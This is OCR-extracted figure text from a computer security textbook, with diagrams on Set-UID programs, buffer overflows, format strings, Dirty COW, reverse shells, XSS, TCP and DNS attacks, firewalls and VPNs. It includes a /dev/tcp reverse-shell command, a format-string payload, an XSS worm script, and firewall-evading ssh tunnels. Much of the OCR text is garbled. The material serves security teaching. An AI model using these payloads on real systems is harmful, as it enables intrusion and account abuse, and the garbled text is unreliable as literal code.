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Chapter 1

Set-UID Privileged Programs and
Attacks on Them

Programs

Fine-grained

Access Control by
Privileged Programs

Generic Access Control by OS
— (e.g. system calls) e

Protected Resource

Figure 1.1: Two-Tier Approach for Access Control



CHAPTER 1. SET-UID PROGRAMS

User Inputs
lo
(3]

System Inputs 2} _ Environment Variables
that b
at can be - Set-UID Programs

controlled by
users

(4] Non-privileged Process
® @ Controlled by User

Figure 1.2: Attack Surface (inputs and behaviors that are controllable by users)



Chapter 2

Attacks Through Environment
Variables

Stack

Strings for environment variables 1 \
(e.g., “SHELL=/bin/bash”)

Strings for argv([]

|
envp[n] a
Each array entry is a pointer

;envp[O]
|

argv[m] .
[ 3 )
Each array entry is a pointer 7

'arg[o]

envp (a pointer) o

argv (a pointer)

argc (an int)

Figure 2.1: Memory location for environment variables



CHAPTER 2. ENVIRONMENT VARIABLES AND ATTACKS

Environment variables : .
Environment variables

Shell variables copied from
environment variables

wv

[} s o

5 _ User-defined shell variables Running a new program
=] (exported)

g2 started

T 2 ! ! from the shell program
g o User-defined shell variables

€% (not exported)

s

3

<

(%]

Predefined shell variables

(e.g. BASHPID)

Parent process running shell Child process

Figure 2.2: Shell variables and environment variables

Environment Variable Attack Surface

l |

Application

External Program Application Code

Figure 2.3: Attack surface created by environment variables



Executable
(Partially Linked)
Environment Variables

,, l

Jump to main()
Function

Loader
(execve)

Dynamic Linker
(Id.so / Id-linux.so)

Y

(Link printf() definition) (Fully Linked Executable in Memory)

Figure 2.4: Dynamic Linking

Normal-User Process

Environment
variables

Privileged Process

Environment
variables

A

Privileged Process
(conduct privileged
operations for users)

(a) Set-UID Approach

Privileged Process
(conduct privileged
operations for users)

(b) Service Approach

Figure 2.5: Attack surface comparison

- Request

for service

Normal-User
Process
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Chapter 3

Shellshock Attack

Trigger the flawed parsing

. Shellshock
logic

Execute a Bash shell

(Environment variables
containing
function definitions)

Figure 3.1: Conditions needed for exploiting the Shellshock Vulnerability

[TF i Apache ® .
Request Web Server Child Process

®,  Bashshell

exéc()

Shellshock

Figure 3.2: How CGI programs are invoked
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Chapter 4

Buffer Overflow Attack

Stack
grows

(High address)
Stack

)
]

Heap

BSS segment

Data segment

Text segment

(Low address)

Figure 4.1: Program memory layout

(High address)

Value of b

Value of a

Return Address

Current Previous Frame Pointer
Frame —>
Pointer Value of x

Value of y

(Low address)

} Arguments
} Local variables

Figure 4.2: Layout for a function’s stack frame
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12 CHAPTER 4. BUFFER OVERFLOW ATTACK

Stack (High address)
grows
main() 5 .
foo() - main()’s Frame Pointer &=

Current
l— Frame
Pointer

bar() < foo()’s Frame Pointer

(Low address)

Figure 4.3: Stack layout for function call chain

Stack (High address)
grows
main()
stack
frame |
[ | str (pointer)
Return Address
foo() Previous Frame Pointer
stack 7 | buffer[11] )
frame ! 3
: 3
' 5
buffer[0] (=)

- (Low address)

Figure 4.4: Buffer overflow



Stack before the buffer copy
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Stack after the buffer copy

Malicious Malicious
Code Code
(0] it
Arguments (Overwrite)
Return Address + New Address # New Return Address
Previous Frame Pointer (Overwrite)
<—ebp
buffer[99]
(Overwrite)
buffer[0]
(badfile)
Figure 4.5: Insert and jump to malicious code
Malicious Malicious
Code Inaccurate Code
Guess — o Inaccurate
. Failed Attack Guess —
(Overwrite) NOP Successful Attack
NOP

New Return Address

(Overwrite)

(Overwrite)

(Without NOP)

ebp

New Return Address

(Overwrite)

(Overwrite)

(With NOP)

Figure 4.6: Using NOP to improve the success rate

ebp



14 CHAPTER 4. BUFFER OVERFLOW ATTACK

Once the input is copied
into buffer, the address of
this position will be
Oxbfffeaf8 + 8

Distance = 112
A
[ \
NOP NOP| ------- RT |[NOP|----| NOP | Malicious Code

Start of buffer: The value placed here The first possible
Once the input is copied will overwrite the entry point for the
into buffer, the memory Return Address field malicious code

address will be

Oxbfffea8c

Figure 4.7: The structure of badfile

Once the input is copied into
buffer, the address of this
position will be
Oxbfffea8c + 120

RT section
120 bytes (4 bytes for each RT) NOP section
| A
J \( \
RT RT |------- RT [NOP|----| NOP | Malicious Code

‘ Start of buffer: | One of the RT values i The first possible
! Once the input is copied | |  will overwrite the entry point for the |
into buffer, the memory Return Address field malicious code

address willbe T e

Oxbfffeal8c

Figure 4.8: Spraying the buffer with return addresses.



RT section: Length =S
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NOP section: Length =L
A

1l 1

RT RT |------- RT |NOP|---- |NOP | Malicious Code
X+S X+S+L
Start of buffer: X \ Y J
RT can be picked from this range
X=A A+S A+S+L
X=A+4  (A+4)+S (A+4)+S+L
X=A+H (A+H)+S (A+H)+S+L
RT picked from this range will work for all X values
Figure 4.9: Find values for the return address RT
Stack
l Malicious Malicious
Code Code
NOP NOP
NOP NOP
NOP NOP
esp —>
New Return Address
esp —>

(a) Before return

(b) After return

Figure 4.10: The positions of the stack pointer before and after function returns



16 CHAPTER 4. BUFFER OVERFLOW ATTACK

|
|
| -
Malicious Mall?‘ous
Code | Code
NOP I NOP
NOP ' NOP
|
NOP : NOP eax
ebx | 0
0 | ebx
//sh I //sh
/bin 0x2000 /bin ecx
esp | i L 5
! 0x2000 IZ' edx
| esp—>
|
|

(a) Set the ebx register (b) Set the eax, ecx, and edx registers

Figure 4.11: Shellcode Execution

Stack (High address)
grows

Return Address

buffer[11]

Buffer copy

buffer[0]

(Low address)

Figure 4.12: The idea of StackGuard



Chapter 5

Return-to-libc Attack and
Return-Oriented Programming

Non-Executable Stack

Executable Code Region

system () function
Jump

Return Address

Shared Library
Previous Frame Pointer

(overflow)

Buffer

Figure 5.1: The idea of the return-to-libc attack
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18 CHAPTER 5. RETURN-TO-LIBC ATTACK AND ROP

(High address)

String Argument

Return Address

Previous Frame Pointer
ebp

(Low address)

Figure 5.2: Frame for the system () function

<« ebp <« ebp
RA RA RA RA
esp—»
Previous FP Previous FP Previous FP
esp—» esp —» <« ebp <«—ebp
For Local
Variables
esp—>
(1) the (2) after (3) after (4) after
initial state “push $%$ebp” ‘movl %esp, %ebp” “subl $N, %esp”
Figure 5.3: How the stack changes when executing the function prologue
< ebp ebp
esp
RA RA RA
esp
Previous FP Previous FP
ebp esp ebp
esp —>
(1) the (2) after (3) after (4) after
initial state “movl %ebp, %esp” “pop %ebp” “ret”

Figure 5.4: How the stack changes when executing the function epilogue



@ system ()’s argument

str esp—»
Return Address | Address of system()] @ «ebp
main ()’s ebp
ebp 3
o
i)
esp> 2
buffer
g 0
(a) inside foo () (b) right after return from foo () : (c) inside system () : after
after running its function epilogue running its function prologue

Figure 5.5: Construct the argument for system ()

Address of bar()

: Address of bar()
Address of bar()
X+8 —»
Address of bar()
X+4—>
X —» <« ebp for foo()

Figure 5.6: Chaining function calls (without arguments)

........ > Next frame

B()’s 2™ argument
B()’s 1* argument
Address of C()
Z=Y+32

B()'s frame
|

Y

<“—ebp=Y

,

A)'s 2™ argument
A()’s 1™ argument
Address of B()

. Y =X+ 32

A()'s frame
|

<«—ebp=X

Figure 5.7: Chaining function calls with arguments (skipping function prologue)



20 CHAPTER 5. RETURN-TO-LIBC ATTACK AND ROP

leaveret’s
frame pointer

B()’s address B()’s address

Y e p = = <«—ebp=Y

esp=X+12—

i leaveret’s address leaveret’s address
— Y Y

<—ebp=X+4 <« X+4
(a) Before A()’s epilogue (b) After A()'s epilogue,
before leaveret
«— ebp=2
value B()’s frame
modified pointer
esp=Y+8->» ; AW
B()Sa;dress R i ebp=Y+d

« Y « Y

(c) After leaveret,

before B()'s prologue (d) After B()’s prologue

Figure 5.8: How
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A()'s 2™ argument

A()'s 1% argument

Ai()’s ebp

<«—¢cbp=ebp;+4

S leaveret

g

S ( Address of A()
--------------- ebpi.y

<“—ebp, (leaveret’s ebp)

Aa()'s 2™ argument

Aa()’s 1 argument

leaveret

Ai()'s ebp

Address of A;4()

<«—ebp=ebp;+4

ebp;

Ay()'s 2" argument

Aq()’s 1 argument

leaveret

Address of Ay()

ebp,

(b) Invoke the first function A;() from foo()

leaveret

ebp,

Previous frame

<—ebp,, (leaveret’s ebp)

(a) Invoke Ai() from A4()

exit()

an arbitrary value

Aq()'s ebp

<— ebp.
(leaveret’s ebp)

I
<«——ebp=ebp;+4 |

A()'s 2™ argument

<«—ebp; |

(leaveret’s ebp),

A()’s 1™ argument

leaveret An()'s ebp
Address of A() _
ebpoy <«—ebp=ebp,+4

<«—foo()’s ebp

<—ebp, (leaveret’s ebp)

(c) Invoke the last function exit() from A,()

Figure 5.9: Chaining function calls via leaveret
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Chapter 6

Format String Vulnerability

Stack th .
double) 4.5 4 t
(higher address) ( ) position
(int) 3 «— 3" position
(double) 3.5 «— 2" position
(int) 2 «— 1% position
(int) Narg: 2 ﬁ
(lower address) How the va_list
pointer moves

Figure 6.1: The stack layout for myprint (2, 2, 3.5, 3, 4.5)

age: 25

name: 0x5000 — “Bob Smith”

— id: 100

Format String:
@ 0x6000

ID: %d, Name: %s, Age: %d
® :

—>

Figure 6.2: How printf () accesses the optional arguments
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CHAPTER 6. FORMAT STRING VULNERABILITY

T ...
X @‘

i’o R > <not an argument> boundary

c‘\g @ name: 0x5000 1

g — N id: 100 “Bob Smith”
2 @ Format String:

°

e 0x6000

& .

—

Figure 6.3: Missing Arguments

Return Address

fmtstr()
stack —I input array

frame

var: 0x11223344 A
|
I
|
I

va_list pointer

tarts h
4 Address of the format string (starts here)

printf()_|
stack
frame

Return Address

Figure 6.4: Vulnerable Program Stack Layout
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Return Adddress

%X.%X.%X.%X.%X.%n
OxBFFFF304

[ var: 0x11223344

«——va_list pointer
A
|
|
|
|
|
|

«— va_list pointer

printf()
stack Return Address
frame

Address of the format string

Figure 6.5: Using the format string vulnerability to change memory

\X06\xf3\xff\xbf@ @ @ @\x04\xf3\xff\xbf%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn
-

- Write 0x7799 to Address B
- Move va_list for 4 bytes

- Write Ox6688 to Address A

? ? - Move va_list to (2)

\

Address B | Print Ox6688 characters - Print Ox1111 more c_haracters
! - Move the va_list pointer

- Move the va_list pointer
for 20 bytes from its starting to @

point to @

Address A

Figure 6.6: The break-down of the format string




26 CHAPTER 6. FORMAT STRING VULNERABILITY

Malicious code
NOP --- NOP
Oxbfffecad — str(] amay
Oxbfffebec (containing
user input)
@eEE@@
o
@ 3 Oxbfffec14 — Oxbfffebee
T <
U ®©
T
o
EJ g Function
.g g fmtstr()’s
N Return Address: Oxbfffecad .
; £ Oxbfffebec—» oo 1 Address: TxblTieca frame pointer
:l § Function
: : i printf ()’s
TE vafist — frame pointer

Figure 6.7: Modify the return address of fmtstr (), making it point to the injected shellcode.

$ fmtvul

The address of the input array: Oxbfffecl4d

The value of the frame pointer: Oxbfffebe8

The value of the return address: 0x080485c4
18y,0@EEE1EY;080485c4b7fbab00b7ffd940bfffece8b7fefflObfffebe8bfffebe
ch7fba®00b7fbat00bfffece8080485c4hfffec1400000001000000c80804b008LT
ff37ecO0000000b7fffOO0bfffed940000000000000000000000000000000000000
0000000000000000000000000000000000OOOOEEOOOAAEEEEEEECEEEE0000000000
... Many zeros are omitted here ...
000000000000000000000000000000000000000060600000000000000000000000000
000000000000000000000000040404040666660666HEGEGHHHHHHHHGHLHELOGEHHE
G60LUBHHHLOELELHBBOUUBH1E1 - B16Ph//shh/binGBPSE™

Thi value of the return address: Oxbfffecad
#

Figure 6.8: Running the vulnerable program and getting the root shell



Chapter 7

Race Condition Vulnerability

Privileged program (set-uid root) Attacker program

/tmp/X points to
an attacker-owned
e t accessQ) Context
switch » Make /tmp/X
TOCTTOU point to
window < vy /etc/passwd
@ open()
Write to /etc/passwd

Figure 7.1: Exploiting the TOCTTOU race condition vulnerability
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Chapter 8

The Dirty COW Race Condition
Attack

Physical Memory

Process 2's

Process 1's Virtual Memory

Virtual Memory

file —

o
|

(a) MAP_SHARED

Physical Memory

Before write
o = '
Process 2's

Virtual Memory
= co
file @ v L

After write

Process 1's
Virtual Memory

I((hH

(b) MAP_PRIVATE

Figure 8.1: MAP_SHARED and MAP_PRIVATE
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30 CHAPTER 8. DIRTY COW

write()

Step A: Make a copy of the mapped
memory

O

Step B: Change the page table, so the
virtual memory now points to

@ <:] Change the page table, so the virtual
memory now points back to @

Step C: Write to the memory ‘

Physical Memory

madvice()
using MADV_DONTNEED

Process's
Virtual Memory

(a) The sequence of actions

(b) Virtual and Physical Memory

Figure 8.2: The Dirty COW Attack



Chapter 9

Reverse Shell

Attacker Machine Server Machine
(Victim)
/bin/bash
Input
>
total 68
drwxrwxr-x 4 seed seed 4096 May 1 00:35 android
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 bin Output She” program
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 Customization
drwxr-xr-x 2 seed seed 4096 Jul 25 2017 Desktop
drwxr-xr-x 2 seed seed 4096 Jul 25 2017 Documents
drwxr-xr-x 2 seed seed 4096 Mav 1 00:36 Downloads

Figure 9.1: Reverse Shell
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32 CHAPTER 9. REVERSE SHELL

File Table
File 1
Path

Access Mode

{I

File Descriptor Table

[FE ] mrr ] o

0 Standard Input ? Access Mode
1 Standard Output

2

3 \

File 2

\

File 3
Path
Access Mode

Standard Error

/tmp/xyz

{I

File 4
Path
Access Mode

/

{I

Figure 9.2: File descriptor table

File Descriptor Table File Tabl File Descriptor Table
before dup2() re Jable after dup2()
Lo S
0 Standard Input //'[ File 1 Standard Input

Standard Output /

/{ File 2
Standard Error —

_/,_{ /tmp/input

[N

Standard Output

Standard Error

[ =]
0
1
2
3
4

A wN

NN

\—{ /tmp/output

Figure 9.3: The changes of the file descriptor table caused by dup?2 ()

Attacker’s Machine Server Machine: Victim
(10.0.2.70) Local Standard (10.0.2.69)

Input Device
] /bin/bash 55%24
Attacker:$ nc -lv 9090 = =
/bzn_,’bash
o /bin/bash 64x24

Listening on [0.0.6.6] (family @, port 9690)
i *

Connection from [10.0.2.69] port 9090 [tcp/*] accepted Server:$ bash -i > /dev/tcp/10.0.2.76/9090

1s -1

|

(family 2, sport 43964)

+total 72

drwxrwxr-x 4 seed seed 4096 May 1 2018 android
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 bin
drwxrwxr-x 6 seed seed 4096 Dec 29 16:37 Book
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 Customization
drwxr-xr-x 2 seed seed 4096 Jul 25 2017 Desktop
drwxr-xr-x 2 seed seed 4096 Jul 25 2017 Documents

5 Server:$

Outp

Figure 9.4: Redirect standard output
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Attacker’s Machine Server Machine: Victim
(10.0.2.70) (10.0.2.69)

3 /bin/bash

= /bin/bash 55x24
Attacker:$ nc -1lv 9090 3
Connection from [10.0.2.69] port 9090 [tcp/*] accepted -
ily 2, sport 43968) Server:$ /bir h > /dev/tcp/10.0.2.70/9090 0<&1
e, > Server:$
a = .
wWxrwxr-x 4 seed seed 4096 May 1 2018 android g_ ERlEhEY l
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 bin ]
drwxrwxr-x 6 seed seed 4096 Dec 29 16:37 Book ® Thisis not typed in this window. Bash prints out
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 Customization f f : - :
drwxr-xr-x 2 seed seed 4096 Jul 25 2617 Desktop this at its sFandard error dewcg (file descriptor 2),
drwxr-xr-x 2 seed seed 4096 Jul 25 2017 Documents which has not been redirected yet.
@ This is typed by attacker
Figure 9.5: Redirect standard input and output
Attacker’s Machine Server Machine: Victim
(10.0.2.70) (10.0.2.69)
/bin/bash

o) /bin/bash 55x33

Attacker:$ nc -lv 9090
Listening on [0.0.0.0] (family @, port 9090)

Connection from [10.0.2.69] port 9090 [tcp/*] accepted 0 /bin/bash

family 2, sport 43972) Input ] Jbii/bash 64x24
ls -1 - Server:$ /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1
= Error Output |

seed seed 4096 May 1 2018 android Output

4
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 bin
drwxrwxr-x 6 seed seed 4096 Dec 29 16:37 Book
drwxrwxr-x 2 seed seed 4096 Jan 14 2018 Customization
drwxr-xr-x 2 seed seed 4096 Jul 25 2017 Desktop
drwxr-xr-x 2 seed seed 4096 Jul 25 2017 Documents

Figure 9.6: Redirect standard input, output, and error
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Chapter 10

Cross Site Request Forgery

Page from Webite A Page from Website B

€ A’s cookies © B’s cookies ‘ u:l

Browser

Figure 10.1: Cross-Site Requests
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36 CHAPTER 10. CROSS SITE REQUEST FORGERY

Malicious
website

Target
website

i

Page from
malicious website

" 4

¥

Browser

Figure 10.2: How a CSREF attack works



Chapter 11

Cross-Site Scripting Attack

Attacker

&= Page from
L the target website

i -

Victim

Figure 11.1: The general idea of the XSS attack
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CHAPTER 11. CROSS-SITE SCRIPTING ATTACK

38

Il Malicious code

Attacker
Other pages or \.»

e Target

website

applications

@& Page from
- the target websiti/
! [ |

Victim

(a) Non-persistent (Reflected) XSS attack

Attacker /‘7‘9//1-.,-
Q'
COU@
&— Page from \
the target websiti/

b m

Victim

arget
website

(b) Persistent XSS attack

Figure 11.2: Two types of XSS attack
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XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Edit profile

Display name
Samy

About me Visual editor

<script type="text/javascript'>
window.onload = function () {
var Ajax=null;

/I Setthe timestamp and secret token parameters

varts="& elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

HIConstruct the HTTP request to add Samy as a friend.

var sendurl= "http://www.xsslabelgg.com/action/friends/add" + "?friend=47" + token + ts;
/[Create and send Ajax request to add friend

Ajax=new XMLHttpRequest();

Ajax.open("GET" ,sendurl true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();

</script>

Figure 11.3: Inject JavaScript code to profile

Victim 1: Alice Other Victims

Profile Page
Victim 2: Boby

Worm )
Profile Page
g

Attacker )
Worm
Profile Page Code

|
Worm . e
- Other Victims
|

Other Victims
|

El Worm code
Other Victims

Figure 11.4: Self Propagating XSS Attack
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Chapter 12

SQL Injection Attack

Browser Web Application Server Database

HTTP Request SQL Statement

Result Result

=l =

Figure 12.1: Web Architecture
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(a) saL

(b) JavaScript

(c) system()

(d) Format

String

(e) C program

CHAPTER 12.

SQL INJECTION ATTACK

Mixin Data’
Untrusted User Data - g saL saL
20— —> 5
Trusted SQL Code Statement arser SQL Code’ —» Execution
Mixin HTML Content’
Untrusted User Data - g HTML HTML
20—
Trusted HTML Content page parser JavaScript Code’—» Execution
+ JavaScript Code
Untrusted User Data Mixing Shell Data’
}—»»{4—» Command —» {
Trusted parser Command’ —» Execution
Command Name
Untrusted User Data Mixing F Format Data’
ormat )
}—»2‘4’ i —> String—» { Format
Trusted Data + String parser o —» Execution
Specifiers’

Format Specifiers

Untrusted Data

C Program —>» Compiler _L, ¢
Execution

Figure 12.2: Mixing code with data




Chapter 13

Meltdown Attack

CPU Cache Main Memory (RAM)
array[9*4096]
array[7*4096]
Faster Read _
CPU (cache hit) array[3*4096] .
array[1*4096]
Slower Read (cache miss) i array[0*4096]
Figure 13.1: Cache hit and miss
Attacker Program CPU Cache Main Memory (RAM)
slower Read »  array[255*4096]
Slower Read
F R
Read aster Read :I array[94*4096] array[94*4096]
array[0...255]
Slower Read o
Slower Read »  array[0*4096]

Figure 13.2: Diagram depicting the Side Channel Attack
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44 CHAPTER 13. MELTDOWN ATTACK

main () Exception
‘o: Setch lk - Exception
& [ et check point }
h= Handler
5 R=0 !
ol Return R «R=L siglongjmp ()
] Jump back to the check point
)]
False (R=1)
lTrue (R=0)
This branch will be This branch will be executed
executed when the when the program rolls back to
check point was set. the check point due to exception.

Figure 13.3: Illustration of how exception handling works in C

Access Kernel Memory
kernel_data = *kernel_addr

/\

Out-of-order execution Access permission check

Bring the kernel data to register.
Continue execution.

Interrupted. Execution If permission check fails, interrupt
results are discarded. the out-of-order execusion.

~_

Figure 13.4: Out-of-order execution inside CPU



Chapter 14

Spectre Attack

if (x < size)

/\

Speculative execution

Get size from memory.
Check the if-condition

data =
data + 5

Interrupted. Execution
results are discarded.

~_

Value of size is read. The if-condition is false.
Interrupt and Revert the Speculative execution.

Figure 14.1: Speculative execution (out-of-order execution)
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CHAPTER 14. SPECTRE ATTACK

Region NOT Secret
allowed to
access
_______ _ _| Access protection
buffer[9] if (x < buffer_size)
Region
allowed to
access .
buffer[1]
buffer[0]

Figure 14.2: Experiment setup: the buffer and the protected secret



Chapter 15

Packet Sniffing and Spoofing

Kernel

Protocol stack

=

Link-level driver

f

Ring buffer
K . Kernel__

Network

Figure 15.1: Packet flow
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CHAPTER 15. PACKET SNIFFING AND SPOOFING

? User Space

Kernel

[Buffer|  [Buffer]

Link-level driver

f

Ring buffer
—T Kernel
Network
Figure 15.2: Packet flow with filter

How to store 0287654321 in memory?
0x1003 0x87 0x1003 0x21
0x1002 0x65 0x1002 0x43
0x1001 0Ox43 0x1001 0x65
0x1000 0x21 0x1000 0x87

Little Endian Big Endian
(put the small end in memory first) (put the big end in memory first)

Figure 15.3: Big Endian and Little Endian byte order



Chapter 16

Attacks on the TCP Protocol

TCP Client Application

ﬂwrite(), send(), etc.
Send Buffer

| |
T T
‘ ‘ ‘ ‘
| |
T T
| |

1 2 3

TCP

aiR

TCP Server Application

read(), recv(), eth
Receive Buffer

Packet Sending order

>

Packet Arriving order

Figure 16.1: How TCP data are transmitted
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CHAPTER 16. ATTACKS ON THE TCP PROTOCOL

50
Bit 0 Bit 15 Bit 16 Bit 31
Source port (16) Destination port (16)
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Figure 16.3: TCP Three-way Handshake Protocol and SYN Flooding
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Figure 16.4: TCP FIN Protocol




TCP Connection

IP: 10.2.2.200

®

I IP: 10.1.1.100

RST packet Port: 11111

Port: 22222
| Attacker | (spoofed)
| J
(a) Attack diagram
. Header )
Version length Type of service Total length
Identification Flags Fragment offset

Time to live

Protocol

Header checksum

Acknowledgement number

TCP A S
header C Y Window size
length K N
Checksum Urgent pointer

—TCP

(b) Attack packet

Figure 16.5: TCP Reset Attack
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[ Tubel

Figure 16.6: TCP Reset attack on video streaming

R s |

. s Y s Y s s Y s ) — ) )
Client } | Server same header fields

= =53 * Source IP

Source Port

Attacker * Destination IP

Destination Port

(a) Injecting data into a TCP connection

x+1 Datanotarrivedyet x+86

Data already arrived Injected data

(b) Receiver’s TCP buffer and sequence numbers

Figure 16.7: TCP Session Hijacking Attack
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No. Source Destination Protocol  Length Info

[ e e

Figure 16.8: TCP retransmissions caused by the session hijacking attack

Current Attacker Current
sequence #: x (10.0.2.70) sequence #:y
Seq: x, Payload: 8
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Figure 16.9: Why the connection freezes
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Chapter 17

Firewall

Protected
Network

Make decisions based on each individual packet

(A) Packet Filter Firewall

Protected
Network

Make decisions based on the state information formed by
multiple packets that are related

(B) Stateful Firewall

Request Request forwarded by Proxy
o

>
-

(C) Application/Proxy Firewall

Figure 17.1: Three types of firewall
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Entry and Exit points Module implementation
insmod -----» | module_init(kmodule_init) ] > kmodule_init() { ... }
rmmod ---—--»| module_exit(kmodule_exit) | > kmodule_exit() { ... }

Figure 17.2: Loadable Kernel Modules

NF_IP_FORWARD NF_IP_POST_ROUTING

NF_IP_PRE_ROUTING Routing

Routing

NF_IP_LOCAL_IN PI NF_IP_LOCAL_OUT

Figure 17.3: net filter hooks in IPv4 stack

mangle nat mangle nat
PREROUTING PREROUTING POSTROUTING POSTROUTING

Routing mangle filter
Decision FORWARD FORWARD

mangle filter
INPUT INPUT
Local i mangle nat filter

Process OUTPUT OUTPUT OUTPUT

Figure 17.4: Network packet traversal through iptables.
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Firewall

Machine: work

--------- Telnet
--------------------- >
st server
Telnet
client ‘\A
ssh client 8000 22 | sshserver

Machine: home IIII Machine: apollo

Onhome: ssh -L 8000:work:23 seed@apollo

Figure 17.5: Evade firewall using ssh tunnel

W= ow o x = a ofER#

General Tabs  Content Applications Privacy Security Sync [EGCIELIE

General Data Choices Network Update Certificates

Connection I > }

Configure how Firefox connects to the Internet Settings...
™ Connection Settings

Configure Proxies to Access the Internet Clear Now
) No proxy

_) Auto-detect proxy settings for this network
‘ _) Use system proxy settings
@ Manual proxy configuration:

HTTP Proxy: port: 0* Clear Now |
_) Use this proxy server for all protocols | Exceptions...
SSL Proxy: Port: 0
ETP Proxy: Port: 07
SOCKS Host: | 127.0.0.1 Port: 9000 -

) SOCKSv4 @ SOCKS V5
No Proxy for:
localhost, 127.0.0.1
Close
Example: .mozilla.org, .net.nz, 192.168.1.0/24

Figure 17.6: Configure the SOCKS Proxy
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User Machine

Browser _.....

ssh server | 8000

Machine: home

CHAPTER 17. FIREWALL

Firewall
IIII Machine: web-server

ssh client

IIII Machine: apollo

On apollo: ssh -R 8000:web-server:80 seed@home

Figure 17.7: Use reverse SSH tunneling to access an internal web server
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Domain Name System (DNS) and

Attacks

. (Root)

Root Domain

.com .net .edu .gov fr

Top-Level Domains (TLDs)

google example

Figure 18.1: Domain Hierarchy

example.com

usa.example.com uk.example.com

chicago boston nyc.example.com

Second-Level Domains

france.example.com

Figure 18.2: Zones for the example . com domain (fictitious)
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Do | know the IP address
for www.example.com? If
so, return the answer.

Do I know the IP
address for
www.example.com?
If so, just use it.

If not, ask the If not, ask the other
local DNS server DNS servers on the
for answer Internet for answer
[ | N | N |

User Machine

Local DNS Server

DNS Servers on the Internet

Figure 18.3: A high-level picture of how DNS works

Step 1. What is the IP address of

www.example.net? o

Do not know the answer -
Go ask .NET servers

. ROOT Server
(1)
2
3 Step 2. What is the IP address of
%’ www.example.net?
g Do not know the answer
- Go ask example.net servers
.NET Server

Step 3. What is the IP address of
www.example.net?

<4—Here is the answer: 93.184.216.34

example.net Server

Figure 18.4: The iterative query process (finding the IP address of www.example.net)



User Machine
10.0.2.68

Attacker
10.0.2.70

LAN

10.0.2.69

Figure 18.5: Environment setup for the experiment

IP Header

UDP Header

Transaction ID (1d)

Flags

Number of Question Records (gdcount)

Number of Answer Records (ancount)

Number of Authority Records (nscount)

Number of Additional Records (arcount)

Local DNS Server

Records: gd, an, ns, ar

Figure 18.6: DNS packet

DNS Data
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Question Record

Record Type

“A” Record Internet

www.example.com 0x0001 0x0001

Answer Record

Record Type Time to Live Data Length Data: IP Address
“A” R |
www.example.com ecord | Intemet | 443002000 (seconds) 0x0004 1234

0x0001 0x0001

Authority Record

Record Type Time to Live Data Length Data: Name Server

“NS” Record Internet

example.com 0x0002 0x0001

0x00002000 (seconds) 0x0013 ns.example.com

Figure 18.7: DNS records

ROOT

Local DNS
el

User Machine Local DNS Server

Example.com Malicious.com

Figure 18.8: DNS Attack Surfaces
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= E

e

User Machines

Local DNS Server

Global DNS servers on
the Internet

Attacker

Figure 18.9: Local DNS Poisoning Attack

(3) Answer:
(3) Spoofed Answer: with twysw.example.com’s
ns.attacker32.com |P address
in the Authority section Victim
37 _-=+DNS server example.com
-
,,¢’ (Apolio) (2) Query DNS Server
,l, example.com’s
~ / DNS server
S )/
54
%‘3 ! (1) Query: what's the IP
\ address of
‘\ twysw.example.com
\
'41‘ S .
e, ot S s Attacker’s DNS Server
ns.attacker32.com

Figure 18.10: The Kaminsky attack (assuming that Apol1lo already knows the authoritative
nameserver of example.com
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. Header . \
Version Length Type of Service Total Length
Identification IP Flags Fragment Offset
Protocol: g
Time To Live (TTL) 17 (UDP) Header Checksum b5t
T
=

Source Address

Destination Address

o
o]
Source Port (53) Destination Port 2
[
s
[-%
UDP Length UDP Checksum %
action ID Flags (0x8: o
S
3
Number of Question Records (1) Number of Answer Records (1) T
[%)]
8
Number of Authority Records (1) Number of Additional Records (0)

Figure 18.11: The IP, UDP, and DNS headers of the spoofed DNS reply

Question Record

Record Type

"A” Record Internet

twysw.example.com 0x0001 0X0001

Answer Record

Record Type Time to Live Data Length Data: IP Address
“A” Record Internet
twysw.example.com 0x0001 0x0001 0x00002000 (seconds) 0x0004 1234

Authority Record
Record Type Time to Live Data Length Data: Name Server
“NS” Record Internet
example.com 0x0002 0x0001 0x00002000 (seconds) 0x0013 ns.attacker32.net

Representation in the packet
(Total: 0x13 bytes) \j

atltlalc I'|3|2. ‘

Figure 18.12: The DNS payload of the forged response packet
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Firewall
The User machine
1. Get IP address for www.attacker32.com II I

4= True Answer: the actual IP address

2. Get www.attacker32.com/index.html I

3. Get IP address for www.attacker32.com
4= Fake Answer: this server’s IP address II

4. Attack

The target server (vulnerable) The Attacker machines

Figure 18.13: DNS Rebinding Attack

Response from Root Server Response from .net Server
—> DNSKEY: Root server’s Public Key ~ > — DNSKEY: This server’s Public Key )3
o o
RRSIG: Signatures for the records) > = RRSIG: Signatures for the records#” =~
in this response E in this response
>
% DS: One-way hash of the .net server’s DS: One-way hash of the example.net
> public key server’s public key
Verify

Response from
example.net Server

DNSKEY: This server’s Public Key )
s

fy

Trusted information

Ver!

o!otamed frem 8 RRSIG: Signatures for the record
different channel . .
in this response

Figure 18.14: Chain of Trust in DNSSEC
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Chapter 19

Virtual Private Network

L
@ RN I’\ ]
(— é >
~— '\J
Client Internet VPN Server
| v |
Private Network

Figure 19.1: Overview of a Virtual Private Network.
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4 =)
A B
Xeme -~~~ °~T~T/~—cCc T Kernel
IP Layer IP Layer
IP Packet D IP Packet
New IP IPSec o
‘ Header Header Original IP Packet
Encrypted
G J

(a) IPSec Tunneling

Application ) Application
User | New [P |TCP/UDP Original IP Packet User

Space Header Header Space
Kernel | Kernel
Encrypted

(b) TLS/SSL Tunneling

Figure 19.2: IPSec and TLS/SSL Tunneling

Tunnel

application

New N A P \
Headers Hea
Tunnel
application

lew f
ders
"
Internet Y

VPN Client VPN Server

New Packet: VPN client > VPN Server
Original IP Packet: U > V

i u E
5 | i & |
| Private Network 10.0.7.0/24 | | Private Network 10.0.8.0/24 |

Figure 19.3: Overview of the operation of a tunneling application.
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TCP/UDP (Transport Layer)

IP (Network Layer)

Data-Link Layer

Physical

TUN / TAP
Interface
A A
TUN TAP

